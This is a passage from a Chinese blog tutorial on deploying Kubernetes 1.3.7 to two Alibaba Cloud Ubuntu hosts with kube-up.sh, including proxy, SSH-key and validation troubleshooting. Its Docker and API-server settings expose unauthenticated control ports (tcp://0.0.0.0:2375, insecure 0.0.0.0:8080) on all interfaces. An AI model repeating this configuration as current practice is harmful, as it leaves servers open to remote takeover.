swarm集群，master相当于docker swarm集群中的manager，而minion则相当于docker swarm集群中的worker。\n在master节点上运行的k8s核心组件包括：\n# ls /opt/bin|grep kube kube-apiserver kube-controller-manager kubelet kube-proxy kube-scheduler 在minion节点上，k8s核心组件较少，包括：\n# ls /opt/bin|grep kube kubelet kube-proxy k8s的安装模型可以概述为：在安装机上将k8s的各个组件分别部署到不同角色的节点上去(通过ssh远程登录到各节点)，并启动起来。用下面这个简易图表达起来可能更加形象：\n安装机(放置k8s的安装程序和安装脚本） ----- install k8s core components to(via ssh) ----\u0026gt; master and minion nodes 在安装之前，这里再明确一下我所用的环境信息：\n阿里云ECS: Ubuntu 14.04.4 LTS (GNU/Linux 3.19.0-70-generic x86_64)\nroot@iZ25cn4xxnvZ:~# docker version\nClient:\nVersion: 1.12.2\nAPI version: 1.24\nGo version: go1.6.3\nGit commit: bb80604\nBuilt: Tue Oct 11 17:00:50 2016\nOS/Arch: linux/amd64\nServer:\nVersion: 1.12.2\nAPI version: 1.24\nGo version: go1.6.3\nGit commit: bb80604\nBuilt: Tue Oct 11 17:00:50 2016\nOS/Arch: linux/amd64\n二、先决条件 根据浙大团队的那篇在Ubuntu上安装k8s的文章，在真正安装k8s组件之前，需要先满足一些先决条件：\n1、安装Docker 关于Docker的文档，不得不说，写的还是不错的。Docker到目前为止已经发展了许多年了，其在Ubuntu上的安装已经逐渐成熟了。在其官方文档中有针对ubuntu 12.04、14.04和16.04的详细安装说明。如果你的Ubuntu服务器上docker版本较低，还可以用国内Daocloud提供的一键安装服务来安装最新版的Docker。\n2、安装bridge-utils 安装网桥管理工具：\n[sudo] apt-get install bridge-utils 安装后，可以测试一下安装是否ok：\nroot@iZ25cn4xxnvZ:~# brctl show bridge name bridge id STP enabled interfaces docker0 8000.0242988b938c no veth901efcb docker_gwbridge 8000.0242bffb02d5 no veth21546ed veth984b294 3、确保master node可以连接互联网并下载必要的文件 这里要提到的是为master node配置上”加速器”。同时如果master node还承担逻辑上的minion node角色，还需要为节点上Docker配置上加速器（如果加速器是通过代理配置的），minion node上亦是如此，比如：\n/etc/default/docker export http_proxy=http://duotai:xxxxx@sheraton.h.xduotai.com:24448 export https_proxy=$http_proxy 4、在安装机上配置自动免密ssh登录各个master node 和minion node 我在阿里云上开了两个ECS（暂成为node1 – 10.47.136.60和node2 – 10.46.181.146），我的k8s集群就由这两个物理node承载，但在逻辑上node1和node2承担着多种角色，逻辑上这是一个由一个master node和两个minion node组成的k8s集群：\n安装机：node1 master node：node1 minion node: node1和node2 因此为了满足安装机到各个k8s node免密ssh登录的先决条件，我需要实现从安装机(node1)到master node(node1)和minion node(node1和node2)的免费ssh登录设置。\n在安装机node上执行：\n# ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. ... ... 安装机免密登录逻辑意义上的master node(实际上就是登录自己，即node1）：\ncat ~/.ssh/id_rsa.pub \u0026gt;\u0026gt; ~/.ssh/authorized_keys 安装机免费登录minion node(node2)：\n将公钥复制到server： #scp ~/.ssh/id_rsa.pub root@10.46.181.146:/root/id_rsa.pub The authenticity of host '10.46.181.146 (10.46.181.146)' can't be established. ECDSA key fingerprint is b7:31:8d:33:f5:6e:ef:a4:a1:cc:72:5f:cf:68:c6:3d. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.46.181.146' (ECDSA) to the list of known hosts. root@10.46.181.146's password: id_rsa.pub 在minion node，即node2上，导入安装机的公钥并修改访问权限：\ncat ~/id_rsa.pub \u0026gt;\u0026gt; ~/.ssh/authorized_keys root@iZ25mjza4msZ:~# chmod 700 ~/.ssh root@iZ25mjza4msZ:~# chmod 600 ~/.ssh/authorized_keys 配置完成，你可以在安装机上测试一下到自身(node1)和到node2的免密登录，以免密登录node2为例：\nroot@iZ25cn4xxnvZ:~/.ssh# ssh 10.46.181.146 Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.19.0-70-generic x86_64) * Documentation: https://help.ubuntu.com/ New release '16.04.1 LTS' available. Run 'do-release-upgrade' to upgrade to it. Welcome to aliyun Elastic Compute Service! Last login: Thu Oct 13 12:55:21 2016 from 218.25.32.210 5、下载pause-amd64镜像 k8s集群启动后，启动容器时会去下载google的gcr.io/google_containers下的一个pause-amd64镜像，为了避免那时出错时不便于查找，这些先下手为强，先通过“加速器”将该镜像下载到各个k8s node上：\n修改/etc/default/docker，添加带有加速器的http_proxy/https_proxy，并增加–insecure-registry gcr.io\n# If you need Docker to use an HTTP proxy, it can also be specified here. export http_proxy=http://duotai:xxxx@sheraton.h.xduotai.com:24448 export https_proxy=http://duotai:xxxx@sheraton.h.xduotai.com:24448 # This is also a handy place to tweak where Docker's temporary files go. #export TMPDIR=\u0026quot;/mnt/bigdrive/docker-tmp\u0026quot; DOCKER_OPTS=\u0026quot;$DOCKER_OPTS -H unix:///var/run/docker.sock -H tcp://0.0.0.0:2375 --insecure-registry gcr.io\u0026quot; 重启docker daemon服务。下载pause-amd64 image：\nroot@iZ25cn4xxnvZ:~# docker search gcr.io/google_containers/pause-amd64 NAME DESCRIPTION STARS OFFICIAL AUTOMATED google_containers/pause-amd64 0 root@iZ25cn4xxnvZ:~# docker pull gcr.io/google_containers/pause-amd64 Using default tag: latest Pulling repository gcr.io/google_containers/pause-amd64 Tag latest not found in repository gcr.io/google_containers/pause-amd64 latest标签居然都没有，尝试下载3.0标签的pause-amd64：\nroot@iZ25cn4xxnvZ:~# docker pull gcr.io/google_containers/pause-amd64:3.0 3.0: Pulling from google_containers/pause-amd64 a3ed95caeb02: Pull complete f11233434377: Pull complete Digest: sha256:163ac025575b775d1c0f9bf0bdd0f086883171eb475b5068e7defa4ca9e76516 Status: Downloaded newer image for gcr.io/google_containers/pause-amd64:3.0 三、设置工作目录，进行安装前的各种配置 到目前为止，所有node上，包括安装机node上还是“一无所有”的。接下来，我们开始在安装机node上做文章。\n俗话说：“巧妇不为无米炊”。安装机想在各个node上安装k8s组件，安装机本身就要有”米”才行，这个米就是k8s源码包或release包中的安装脚本。\n在官方文档中，这个获取“米”的步骤为clone k8s的源码库。由于之前就下载了k8s 1.3.7的release包，这里我就直接使用release包中的”米”。\n解压kubernetes.tar.gz后，在当前目录下将看到kubernetes目录：\nroot@iZ25cn4xxnvZ:~/k8stest/1.3.7/kubernetes# ls -F cluster/ docs/ examples/ federation/ LICENSES platforms/ README.md server/ third_party/ Vagrantfile version 这个kubernetes目录就是我们安装k8s的工作目录。由于我们在ubuntu上安装k8s，因此我们实际上要使用的脚本都在工作目录下的cluster/ubuntu下面，后续有详细说明。\n在安装机上，我们最终是要执行这样一句脚本的：\nKUBERNETES_PROVIDER=ubuntu ./cluster/kube-up.sh 在provider=ubuntu的情况下，./cluster/kube-up.sh最终会调用到./cluster/ubuntu/util.sh中的kube-up shell函数，kube-up函数则会调用./cluster/ubuntu/download-release.sh下载k8s安装所使用到的所有包，包括k8s的安装包(kubernetes.tar.gz)、etcd和flannel等。由于之前我们已经下载完k8s的1.3.7版本release包了，这里我们就需要对down-release.sh做一些修改，防止重新下载，导致安装时间过长。\n./cluster/ubuntu/download-release.sh # KUBE_VERSION=$(get_latest_version_number | sed 's/^v//') #curl -L https://github.com/kubernetes/kubernetes/releases/download/v${KUBE_VERSION}/kubernetes.tar.gz -o kubernetes.tar.gz 这种情况下，你还需要把已经下载的kubernetes.tar.gz文件copy一份，放到./cluster/ubuntu下面。\n如果你的网络访问国外主机足够快，你还有足够耐心，那么你大可忽略上面脚本修改的步骤。\n在真正执行./cluster/kube-up.sh之前，安装机还需要知道：\n1、k8s物理集群都有哪些node组成，node的角色都是什么？\n2、k8s的各个依赖程序，比如etcd的版本是什么？\n我们需要通过配置./cluster/ubuntu/config-default.sh让./cluster/kube-up.sh获取这些信息。\n./cluster/ubuntu/config-default.sh # node信息，本集群由两个物理node组成，其中第一个node既是master，也是minion export nodes=${nodes:-\u0026quot;root@10.47.136.60 root@10.46.181.146\u0026quot;} roles=${roles:-\u0026quot;ai i\u0026quot;} # minion node个数 export NUM_NODES=${NUM_NODES:-2} # 为安装脚本配置网络代理，这里主要是为了使用加速器，方便或加速下载一些包 PROXY_SETTING=${PROXY_SETTING:-\u0026quot;http_proxy=http://duotai:xxxx@sheraton.h.xduotai.com:24448 https_proxy=http://duotai:xxxx@sheraton.h.xduotai.com:24448\u0026quot;} 通过环境变量设置k8s要下载的依赖程序的版本：\nexport KUBE_VERSION=1.3.7 export FLANNEL_VERSION=0.5.5 export ETCD_VERSION=3.0.12 如果不设置环境变量，./cluster/ubuntu/download-release.sh中默认的版本号将是：\nk8s： 最新版本 etcd：2.3.1 flannel : 0.5.5 四、执行安装 在安装机上，进入./cluster目录，执行如下安装命令：\nKUBERNETES_PROVIDER=ubuntu ./kube-up.sh 执行输出如下：\nroot@iZ25cn4xxnvZ:~/k8stest/1.3.7/kubernetes/cluster# KUBERNETES_PROVIDER=ubuntu ./kube-up.sh ... Starting cluster using provider: ubuntu ... calling verify-prereqs Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa) ... calling kube-up ~/k8stest/1.3.7/kubernetes/cluster/ubuntu ~/k8stest/1.3.7/kubernetes/cluster Prepare flannel 0.5.5 release ... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 608 0 608 0 0 410 0 --:--:-- 0:00:01 --:--:-- 409 100 3408k 100 3408k 0 0 284k 0 0:00:11 0:00:11 --:--:-- 389k Prepare etcd 3.0.12 release ... % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 607 0 607 0 0 388 0 --:--:-- 0:00:01 --:--:-- 388 3 9.8M 3 322k 0 0 84238 0 0:02:02 0:00:03 0:01:59 173k 100 9.8M 100 9.8M 0 0 327k 0 0:00:30 0:00:30 --:--:-- 344k Prepare kubernetes 1.3.7 release ... ~/k8stest/1.3.7/kubernetes/cluster/ubuntu/kubernetes/server ~/k8stest/1.3.7/kubernetes/cluster/ubuntu ~/k8stest/1.3.7/kubernetes/cluster ~/k8stest/1.3.7/kubernetes/cluster/ubuntu ~/k8stest/1.3.7/kubernetes/cluster Done! All your binaries locate in kubernetes/cluster/ubuntu/binaries directory ~/k8stest/1.3.7/kubernetes/cluster Deploying master and node on machine 10.47.136.60 saltbase/salt/generate-cert/make-ca-cert.sh: No such file or directory easy-rsa.tar.gz 100% 42KB 42.4KB/s 00:00 config-default.sh 100% 5610 5.5KB/s 00:00 util.sh 100% 29KB 28.6KB/s 00:00 kubelet.conf 100% 644 0.6KB/s 00:00 kube-proxy.conf 100% 684 0.7KB/s 00:00 kubelet 100% 2158 2.1KB/s 00:00 kube-proxy 100% 2233 2.2KB/s 00:00 etcd.conf 100% 709 0.7KB/s 00:00 kube-scheduler.conf 100% 674 0.7KB/s 00:00 kube-apiserver.conf 100% 674 0.7KB/s 00:00 kube-controller-manager.conf 100% 744 0.7KB/s 00:00 kube-scheduler 100% 2360 2.3KB/s 00:00 kube-controller-manager 100% 2672 2.6KB/s 00:00 kube-apiserver 100% 2358 2.3KB/s 00:00 etcd 100% 2073 2.0KB/s 00:00 reconfDocker.sh 100% 2074 2.0KB/s 00:00 kube-scheduler 100% 56MB 56.2MB/s 00:01 kube-controller-manager 100% 95MB 95.4MB/s 00:01 kube-apiserver 100% 105MB 104.9MB/s 00:00 etcdctl 100% 18MB 17.6MB/s 00:00 flanneld 100% 16MB 15.8MB/s 00:01 etcd 100% 2074 2.0KB/s 00:00 kube-scheduler 100% 56MB 56.2MB/s 0 100% 56MB 56.2MB/s 00:01 kube-controller-manager 100% 95MB 95.4MB/s 100% 95MB 95.4MB/s 00:01 kube-apiserver 100% 105MB 104.9MB/s 100% 105MB 104.9MB/s 00:00 etcdctl 100% 18MB 17.6MB/s us 100% 18MB 17.6MB/s 00:00 flanneld 10 100% 16MB 15.8MB/sge 100% 16MB 15.8MB/s 00:01 ... ... 结果中并没有出现代表着安装成功的如下log字样：\nCluster validation succeeded 查看上面安装日志输出，发现在向10.47.136.60 master节点部署组件时，出现如下错误日志：\nsaltbase/salt/generate-cert/make-ca-cert.sh: No such file or directory 查看一下./cluster下的确没有saltbase目录，这个问题在网上找到了答案，解决方法如下：\nk8s安装包目录下，在./server/kubernetes下已经有salt包：kubernetes-salt.tar.gz，解压后，将saltbase整个目录cp到.cluster/下即可。 再次执行：KUBERNETES_PROVIDER=ubuntu ./kube-up.sh，可以看到如下执行输出：\n... ... Deploying master and node on machine 10.47.136.60 make-ca-cert.sh 100% 4028 3.9KB/s 00:00 easy-rsa.tar.gz 100% 42KB 42.4KB/s 00:00 config-default.sh 100% 5632 5.5KB/s 00:00 util.sh 100% 29KB 28.6KB/s 00:00 kubelet.conf 100% 644 0.6KB/s 00:00 kube-proxy.conf 100% 684 0.7KB/s 00:00 kubelet 100% 2158 2.1KB/s 00:00 kube-proxy 100% 2233 2.2KB/s 00:00 etcd.conf 100% 709 0.7KB/s 00:00 kube-scheduler.conf 100% 674 0.7KB/s 00:00 kube-apiserver.conf 100% 674 0.7KB/s 00:00 kube-controller-manager.conf 100% 744 0.7KB/s 00:00 kube-scheduler 100% 2360 2.3KB/s 00:00 kube-controller-manager 100% 2672 2.6KB/s 00:00 kube-apiserver 100% 2358 2.3KB/s 00:00 etcd 100% 2073 2.0KB/s 00:00 reconfDocker.sh 100% 2074 2.0KB/s 00:00 kube-scheduler 100% 56MB 56.2MB/s 00:01 kube-controller-manager 100% 95MB 95.4MB/s 00:00 kube-apiserver 100% 105MB 104.9MB/s 00:01 etcdctl 100% 18MB 17.6MB/s 00:00 flanneld 100% 16MB 15.8MB/s 00:00 etcd 100% 19MB 19.3MB/s 00:00 flanneld 100% 16MB 15.8MB/s 00:00 kubelet 100% 103MB 103.1MB/s 00:01 kube-proxy 100% 48MB 48.4MB/s 00:00 flanneld.conf 100% 577 0.6KB/s 00:00 flanneld 100% 2121 2.1KB/s 00:00 flanneld.conf 100% 568 0.6KB/s 00:00 flanneld 100% 2131 2.1KB/s 00:00 etcd start/running, process 7997 Error: dial tcp 127.0.0.1:2379: getsockopt: connection refused {\u0026quot;Network\u0026quot;:\u0026quot;172.16.0.0/16\u0026quot;, \u0026quot;Backend\u0026quot;: {\u0026quot;Type\u0026quot;: \u0026quot;vxlan\u0026quot;}} {\u0026quot;Network\u0026quot;:\u0026quot;172.16.0.0/16\u0026quot;, \u0026quot;Backend\u0026quot;: {\u0026quot;Type\u0026quot;: \u0026quot;vxlan\u0026quot;}} docker stop/waiting docker start/running, process 8220 Connection to 10.47.136.60 closed. Deploying node on machine 10.46.181.146 config-default.sh 100% 5632 5.5KB/s 00:00 util.sh 100% 29KB 28.6KB/s 00:00 reconfDocker.sh 100% 2074 2.0KB/s 00:00 kubelet.conf 100% 644 0.6KB/s 00:00 kube-proxy.conf 100% 684 0.7KB/s 00:00 kubelet 100% 2158 2.1KB/s 00:00 kube-proxy 100% 2233 2.2KB/s 00:00 flanneld 100% 16MB 15.8MB/s 00:00 kubelet 100% 103MB 103.1MB/s 00:01 kube-proxy 100% 48MB 48.4MB/s 00:00 flanneld.conf 100% 577 0.6KB/s 00:00 flanneld 100% 2121 2.1KB/s 00:00 flanneld start/running, process 2365 docker stop/waiting docker start/running, process 2574 Connection to 10.46.181.146 closed. Validating master Validating root@10.47.136.60 Validating root@10.46.181.146 Using master 10.47.136.60 cluster \u0026quot;ubuntu\u0026quot; set. user \u0026quot;ubuntu\u0026quot; set. context \u0026quot;ubuntu\u0026quot; set. switched to context \u0026quot;ubuntu\u0026quot;. Wrote config for ubuntu to /root/.kube/config ... calling validate-cluster Error from server: an error on the server has prevented the request from succeeding (kubectl failed, will retry 2 times) Error from server: an error on the server has prevented the request from succeeding (kubectl failed, will retry 1 times) Error from server: an error on the server has prevented the request from succeeding ('kubectl get nodes' failed, giving up) 安装并未成功，至少calling validate-cluster后的validation过程并未成功。\n但是和第一次的失败有所不同的是，在master node和minion node上，我们都可以看到已经安装并启动了的k8s核心组件：\nmaster node：\nroot@iZ25cn4xxnvZ:~/k8stest/1.3.7/kubernetes/cluster# ps -ef|grep kube root 8006 1 0 16:39 ? 00:00:00 /opt/bin/kube-scheduler --logtostderr=true --master=127.0.0.1:8080 root 8008 1 0 16:39 ? 00:00:01 /opt/bin/kube-apiserver --insecure-bind-address=0.0.0.0 --insecure-port=8080 --etcd-servers=http://127.0.0.1:4001 --logtostderr=true --service-cluster-ip-range=192.168.3.0/24 --admission-control=NamespaceLifecycle,LimitRanger,ServiceAccount,SecurityContextDeny,ResourceQuota --service-node-port-range=30000-32767 --advertise-address=10.47.136.60 --client-ca-file=/srv/kubernetes/ca.crt --tls-cert-file=/srv/kubernetes/server.cert --tls-private-key-file=/srv/kubernetes/server.key root 8009 1 0 16:39 ? 00:00:02 /opt/bin/kube-controller-manager --master=127.0.0.1:8080 --root-ca-file=/srv/kubernetes/ca.crt --service-account-private-key-file=/srv/kubernetes/server.key --logtostderr=true root 8021 1 0 16:39 ? 00:00:04 /opt/bin/kubelet --hostname-override=10.47.136.60 --api-servers=http://10.47.136.60:8080 --logtostderr=true --cluster-dns=192.168.3.10 --cluster-domain=cluster.local --config= root 8023 1 0 16:39 ? 00:00:00 /opt/bin/kube-proxy --hostname-override=10.47.136.60 --master=http://10.47.136.60:8080 --logtostderr=true minion node：\nroot@iZ25mjza4msZ:~# ps -ef|grep kube root 2370 1 0 16:39 ? 00:00:04 /opt/bin/kubelet --hostname-override=10.46.181.146 --api-servers=http://10.47.136.60:8080 --logtostderr=true --cluster-dns=192.168.3.10 --cluster-domain=cluster.local --config= root 2371 1 0 16:39 ? 00:00:00 /opt/bin/kube-proxy --hostname-override=10.46.181.146 --master=http://10.47.136.60:8080 --logtostderr=true 那为什么安装节点上的安装脚本在验证安装是否成功时一直阻塞、最终超时失败呢？我在安装节点，同时也是master node上执行了一下kubectl get node命令：\nroot@iZ25cn4xxnvZ:~/k8stest/1.3.7/kubernetes/cluster# kubectl get nodes Error from server: an error on the server (\u0026quot;\u0026lt;!DOCTYPE html PUBLIC \\\u0026quot;-//W3C//DTD HTML 4.01//EN\\\u0026quot; \\\u0026quot;http://www.w3.org/TR/html4/strict.dtd\\\u0026quot;\u0026gt;\\n\u0026lt;html\u0026gt;\u0026lt;head\u0026gt;\\n\u0026lt;meta type=\\\u0026quot;copyright\\\u0026quot; content=\\\u0026quot;Copyright (C) 1996-2015 The Squid Software Foundation and contributors\\\u0026quot;\u0026gt;\\n\u0026lt;meta http-equiv=\\\u0026quot;Content-Type\\\u0026quot; CONTENT=\\\u0026quot;text/html; charset=utf-8\\\u0026quot;\u0026gt;\\n\u0026lt;title\u0026gt;ERROR: The requested URL could not be retrieved\u0026lt;/title\u0026gt;\\n\u0026lt;style type=\\\u0026quot;text/css\\\u0026quot;\u0026gt;\u0026lt;!-- \\n /*\\n * Copyright (C) 1996-2015 The Squid Software Foundation and contributors\\n *\\n * Squid software is distributed under GPLv2+ license and includes\\n * contributions from numerous individuals and organizations.\\n * Please see the COPYING and CONTRIBUTORS files for details.\\n */\\n\\n/*\\n Stylesheet for Squid Error pages\\n Adapted from design by Free CSS Templates\\n http://www.freecsstemplates.org\\n Released for free under a Creative Commons Attribution 2.5 License\\n*/\\n\\n/* Page basics */\\n* {\\n\\tfont-family: verdana, sans-serif;\\n}\\n\\nhtml body {\\n\\tmargin: 0;\\n\\tpadding: 0;\\n\\tbackground: #efefef;\\n\\tfont-size: 12px;\\n\\tcolor: #1e1e1e;\\n}\\n\\n/* Page displayed title area */\\n#titles {\\n\\tmargin-left: 15px;\\n\\tpadding: 10px;\\n\\tpadding-left: 100px;\\n\\tbackground: url('/squid-internal-static/icons/SN.png') no-repeat left;\\n}\\n\\n/* initial title */\\n#titles h1 {\\n\\tcolor: #000000;\\n}\\n#titles h2 {\\n\\tcolor: #000000;\\n}\\n\\n/* special event: FTP success page titles */\\n#titles ftpsuccess {\\n\\tbackground-color:#00ff00;\\n\\twidth:100%;\\n}\\n\\n/* Page displayed body content area */\\n#content {\\n\\tpadding: 10px;\\n\\tbackground: #ffffff;\\n}\\n\\n/* General text */\\np {\\n}\\n\\n/* error brief description */\\n#error p {\\n}\\n\\n/* some data which may have caused the problem */\\n#data {\\n}\\n\\n/* the error message received from the system or other software */\\n#sysmsg {\\n}\\n\\npre {\\n font-family:sans-serif;\\n}\\n\\n/* special event: FTP / Gopher directory listing */\\n#dirmsg {\\n font-family: courier;\\n color: black;\\n font-size: 10pt;\\n}\\n#dirlisting {\\n margin-left: 2%;\\n margin-right: 2%;\\n}\\n#dirlisting tr.entry td.icon,td.filename,td.size,td.date {\\n border-bottom: groove;\\n}\\n#dirlisting td.size {\\n width: 50px;\\n text-align: right;\\n padding-right: 5px;\\n}\\n\\n/* horizontal lines */\\nhr {\\n\\tmargin: 0;\\n}\\n\\n/* page displayed footer area */\\n#footer {\\n\\tfont-size: 9px;\\n\\tpadding-left: 10px;\\n}\\n\\n\\nbody\\n:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }\\n:lang(he) { direction: rtl; }\\n --\u0026gt;\u0026lt;/style\u0026gt;\\n\u0026lt;/head\u0026gt;\u0026lt;body id=ERR_CONNECT_FAIL\u0026gt;\\n\u0026lt;div id=\\\u0026quot;titles\\\u0026quot;\u0026gt;\\n\u0026lt;h1\u0026gt;ERROR\u0026lt;/h1\u0026gt;\\n\u0026lt;h2\u0026gt;The requested URL could not be retrieved\u0026lt;/h2\u0026gt;\\n\u0026lt;/div\u0026gt;\\n\u0026lt;hr\u0026gt;\\n\\n\u0026lt;div id=\\\u0026quot;content\\\u0026quot;\u0026gt;\\n\u0026lt;p\u0026gt;The following error was encountered while trying to retrieve the URL: \u0026lt;a href=\\\u0026quot;http://10.47.136.60:8080/api\\\u0026quot;\u0026gt;http://10.47.136.60:8080/api\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\\n\\n\u0026lt;blockquote id=\\\u0026quot;error\\\u0026quot;\u0026gt;\\n\u0026lt;p\u0026gt;\u0026lt;b\u0026gt;Connection to 10.47.136.60 failed.\u0026lt;/b\u0026gt;\u0026lt;/p\u0026gt;\\n\u0026lt;/blockquote\u0026gt;\\n\\n\u0026lt;p id=\\\u0026quot;sysmsg\\\u0026quot;\u0026gt;The system returned: \u0026lt;i\u0026gt;(110) Connection timed out\u0026lt;/i\u0026gt;\u0026lt;/p\u0026gt;\\n\\n\u0026lt;p\u0026gt;The remote host or network may be down. Please try the request again.\u0026lt;/p\u0026gt;\\n\\n\u0026lt;p\u0026gt;Your cache administrator is \u0026lt;a href=\\\u0026quot;mailto:webmaster?subject=CacheErrorInfo%20-%20ERR_CONNECT_FAIL\u0026amp;amp;body=CacheHost%3A%20192-241-236-182%0D%0AErrPage%3A%20ERR_CONNECT_FAIL%0D%0AErr%3A%20(110)%20Connection%20timed%20out%0D%0ATimeStamp%3A%20Thu,%2013%20Oct%202016%2008%3A49%3A35%20GMT%0D%0A%0D%0AClientIP%3A%20127.0.0.1%0D%0AServerIP%3A%2010.47.136.60%0D%0A%0D%0AHTTP%20Request%3A%0D%0AGET%20%2Fapi%20HTTP%2F1.1%0AUser-Agent%3A%20kubectl%2Fv1.4.0%20(linux%2Famd64)%20kubernetes%2F4b28af1%0D%0AAccept%3A%20application%2Fjson,%20*%2F*%0D%0AAccept-Encoding%3A%20gzip%0D%0AHost%3A%2010.47.136.60%3A8080%0D%0A%0D%0A%0D%0A\\\u0026quot;\u0026gt;webmaster\u0026lt;/a\u0026gt;.\u0026lt;/p\u0026gt;\\n\\n\u0026lt;br\u0026gt;\\n\u0026lt;/div\u0026gt;\\n\\n\u0026lt;hr\u0026gt;\\n\u0026lt;div id=\\\u0026quot;footer\\\u0026quot;\u0026gt;\\n\u0026lt;p\u0026gt;Generated Thu, 13 Oct 2016 08:49:35 GMT by 192-241-236-182 (squid/3.5.12)\u0026lt;/p\u0026gt;\\n\u0026lt;!-- ERR_CONNECT_FAIL --\u0026gt;\\n\u0026lt;/div\u0026gt;\\n\u0026lt;/body\u0026gt;\u0026lt;/html\u0026gt;\u0026quot;) has prevented the request from succeeding 可以看到kubectl得到一坨信息，这是一个html页面内容的数据，仔细分析body内容，我们可以看到：\n\u0026lt;body id=ERR_CONNECT_FAIL\u0026gt;\\n\u0026lt;div id=\\\u0026quot;titles\\\u0026quot;\u0026gt;\\n\u0026lt;h1\u0026gt;ERROR\u0026lt;/h1\u0026gt;\\n\u0026lt;h2\u0026gt;The requested URL could not be retrieved\u0026lt;/h2\u0026gt;\\n\u0026lt;/div\u0026gt;\\n\u0026lt;hr\u0026gt;\\n\\n\u0026lt;div id=\\\u0026quot;content\\\u0026quot;\u0026gt;\\n\u0026lt;p\u0026gt;The following error was encountered while trying to retrieve the URL: \u0026lt;a href=\\\u0026quot;http://10.47.136.60:8080/api\\\u0026quot;\u0026gt;http://10.47.136.60:8080/api\u0026lt;/a\u0026gt;\u0026lt;/p\u0026gt;\\n\\n\u0026lt;blockquote id=\\\u0026quot;error\\\u0026quot;\u0026gt;\\n\u0026lt;p\u0026gt;\u0026lt;b\u0026gt;Connection to 10.47.136.60 failed.\u0026lt;/b\u0026gt;\u0026lt;/p\u0026gt;\\n\u0026lt;/blockquote\u0026gt;\\n\\n\u0026lt;p id=\\\u0026quot;sysmsg\\\u0026quot;\u0026gt;The system returned: \u0026lt;i\u0026gt;(110) Connection timed out\u0026lt;/i\u0026gt;\u0026lt;/p\u0026gt;\\n\\n\u0026lt;p\u0026gt;The remote host or network may be down. Please try the request again.\u0026lt;/p\u0026gt; kubectl在访问http://10.47.136.60:8080/api这个url时出现了timed out错误。在master node上直接执行curl http://10.47.136.60:8080/api也是这个错误。猜想是否是我.bashrc中的http_proxy在作祟。于是在.bashrc中增加no_proxy:\nexport no_proxy='10.47.136.60,10.46.181.146,localhost,127.0.0.1' 生效后，再在master node上执行curl：\n# curl http://10.47.136.60:8080/api { \u0026quot;kind\u0026quot;: \u0026quot;APIVersions\u0026quot;, \u0026quot;versions\u0026quot;: [ \u0026quot;v1\u0026quot; ], \u0026quot;serverAddressByClientCIDRs\u0026quot;: [ { \u0026quot;clientCIDR\u0026quot;: \u0026quot;0.0.0.0/0\u0026quot;, \u0026quot;serverAddress\u0026quot;: \u0026quot;10.47.136.60:6443\u0026quot; } ] } 看来问题原因就是安装程序的PROXY_SETTING中没有加入no_proxy的设置的缘故，于是修改config-default.sh中的代理设置：\nPROXY_SETTING=${PROXY_SETTING:-\u0026quot;http_proxy=http://duotai:xxxx@sheraton.h.xduotai.com:24448 https_proxy=http://duotai:xxxx@sheraton.h.xduotai.com:24448 no_proxy=10.47.136.60,10.46.181.146,localhost,127.0.0.1\u0026quot;} 然后重新deploy：\nroot@iZ25cn4xxnvZ:~/k8stest/1.3.7/kubernetes/cluster# KUBERNETES_PROVIDER=ubuntu ./kube-up.sh ... Starting cluster using provider: ubuntu ... calling verify-prereqs Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa) ... calling kube-up ~/k8stest/1.3.7/kubernetes/cluster/ubuntu ~/k8stest/1.3.7/kubernetes/cluster Prepare flannel 0.5.5 release ... Prepare etcd 3.0.12 release ... Prepare kubernetes 1.3.7 release ... Done! All your binaries locate in kubernetes/cluster/ubuntu/binaries directory ~/k8stest/1.3.7/kubernetes/cluster Deploying master and node on machine 10.47.136.60 make-ca-cert.sh 100% 4028 3.9KB/s 00:00 easy-rsa.tar.gz 100% 42KB 42.4KB/s 00:00 config-default.sh 100% 5678 5.5KB/s 00:00 ... ... cp: cannot create regular file ‘/opt/bin/etcd’: Text file busy cp: cannot create regular file ‘/opt/bin/flanneld’: Text file busy cp: cannot create regular file ‘/opt/bin/kube-apiserver’: Text file busy cp: cannot create regular file ‘/opt/bin/kube-controller-manager’: Text file busy cp: cannot create regular file ‘/opt/bin/kube-scheduler’: Text file busy Connection to 10.47.136.60 closed. Deploying master and node on machine 10.47.136.60 failed 重新部署时，由于之前k8s cluster在各个node的组件已经启动，因此failed。我们需要通过\nKUBERNETES_PROVIDER=ubuntu kube-down.sh 将k8s集群停止后再尝试up，或者如果不用这个kube-down.sh脚本，也可以在各个节点上手动shutdown各个k8s组件(master上有五个核心组件，minion node上有两个核心组件，另外别忘了停止etcd和flanneld服务)，以kube-controller-manager为例：\nservice kube-controller-manager stop 即可。\n再次执行kube-up.sh：\n... ... .. calling validate-cluster Waiting for 2 ready nodes. 1 ready nodes, 2 registered. Retrying. Found 2 node(s). NAME STATUS AGE 10.46.181.146 Ready 4h 10.47.136.60 Ready 4h Validate output: NAME STATUS MESSAGE ERROR scheduler Healthy ok controller-manager Healthy ok etcd-0 Healthy {\u0026quot;health\u0026quot;: \u0026quot;true\u0026quot;} Cluster validation succeeded Done, listing cluster services: Kubernetes master is running at http://10.47.136.60:8080 To further debug and diagnose cluster problems, use 'kubectl cluster-info dump'. 通过字样：”Cluster validation succeeded”可以证明我们成功安装了k8s集群。\n执行kubectl get node可以看到当前集群的节点组成情况：\n# kubectl get node NAME STATUS AGE 10.46.181.146 Ready 4h 10.47.136.60 Ready 4h 通过执行kubectl cluster-info dump 可以看到k8s集群更为详尽的信息。\n五、测试k8s的service特性 之所以采用k8s，初衷就是因为Docker 1.12在阿里云搭建的swarm集群的VIP和Routing mesh机制不好用。因此，在k8s集群部署成功后，我们需要测试一下这两种机制在k8s上是否能够获得支持。\nk8s中一些关于集群的抽象概念，比如node、deployment、pod、service等，这里就不赘述了，需要的话可以参考这里的Concept guide。\n1、集群内负载均衡 在k8s集群中，有一个等同于docker swarm vip的概念，成为cluster 